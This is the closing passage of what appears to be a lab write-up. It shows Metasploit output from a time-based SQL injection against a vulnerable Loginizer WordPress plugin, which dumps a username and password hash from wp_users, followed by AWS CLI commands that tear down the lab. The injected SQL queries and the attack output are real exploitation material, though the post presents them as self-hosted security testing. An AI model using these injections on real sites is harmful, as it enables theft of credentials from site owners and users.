[*] {SQLi} Executing (select group_concat(JC) from (select cast(concat_ws(';',ifnull(user_login,''),ifnull(user_pass,'')) as binary) JC from wp_users limit 1) JIVez)
[*] {SQLi} Time-based injection: expecting output of length 44
[+] wp_users
========

 user_login  user_pass
 ----------  ---------
 wordpress   $P$B8OjOUCRrPXm/TrVQ2/WJqUp5w7WmI.

[*] Scanned 1 of 2 hosts (50% complete)
[*] Checking /wp-content/plugins/loginizer/readme.txt
[*] Found version 1.6.3 in the plugin
[+] Vulnerable version of Loginizer detected
[*] Scanned 1 of 2 hosts (50% complete)
[*] {SQLi} Executing (select group_concat(TXChHXg) from (select cast(concat_ws(';',ifnull(user_login,''),ifnull(user_pass,'')) as binary) TXChHXg from wp_users limit 1) fA)
[*] Scanned 1 of 2 hosts (50% complete)
[*] Scanned 1 of 2 hosts (50% complete)
[*] Scanned 1 of 2 hosts (50% complete)
[*] {SQLi} Time-based injection: expecting output of length 44
[+] wp_users
========

 user_login  user_pass
 ----------  ---------
 wordpress   $P$B8OjOUCRrPXm/TrVQ2/WJqUp5w7WmI.

[*] Scanned 2 of 2 hosts (100% complete)
[*] Auxiliary module execution completed

resource (stdin)> exit -y

From the outputs above you can see the attack to the Wordpress was successful. We got some details about the remote system like list of processes, wp-config.php, system details and list of users + password hashes.

Cleanup

Delete the Amazon EKS cluster, EC2 instances, VPCs, EC2 Key Pair, DB Snapshots, SSM parameters and CloudWatch Log Groups:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
export AWS_REGION="eu-central-1"
export AWS_EC2_KEY_PAIR_NAME="wordpress-test"
export SOLUTION_KALI="KaliLinux-NICE-DCV"
export SOLUTION_EC2_CONTAINER="Amazon-EC2-Container"
export SOLUTION_EC2="Amazon-EC2"

aws cloudformation delete-stack --stack-name "${SOLUTION_KALI}"
aws cloudformation delete-stack --stack-name "${SOLUTION_EC2_CONTAINER}"
aws cloudformation delete-stack --stack-name "${SOLUTION_EC2}"
aws cloudformation delete-stack --stack-name "${SOLUTION_KALI}-VPC"
aws cloudformation delete-stack --stack-name "${SOLUTION_EC2_CONTAINER}-VPC"
aws cloudformation delete-stack --stack-name "${SOLUTION_EC2}-VPC"
aws ec2 delete-key-pair --key-name "${AWS_EC2_KEY_PAIR_NAME}"
copilot app delete --name wordpress --yes
aws ssm delete-parameter --name /copilot/wordpress/dev/secrets/WORDPRESS_USERNAME
aws ssm delete-parameter --name /copilot/wordpress/dev/secrets/WORDPRESS_PASSWORD
aws logs describe-log-groups --log-group-name-prefix /aws/lambda/wordpress-dev-wordpress --query 'logGroups[*].logGroupName' | jq -r '.[]' | xargs -I {} aws logs delete-log-group --log-group-name {}
aws rds describe-db-cluster-snapshots --query 'DBClusterSnapshots[?starts_with(DBClusterSnapshotIdentifier, `wordpress-dev-wordpress`) == `true`].DBClusterSnapshotIdentifier' | jq -r '.[]' | xargs -I {} aws rds delete-db-cluster-snapshot --db-cluster-snapshot-identifier {}

Enjoy … 😉

This post is licensed under CC BY 4.0 by the author.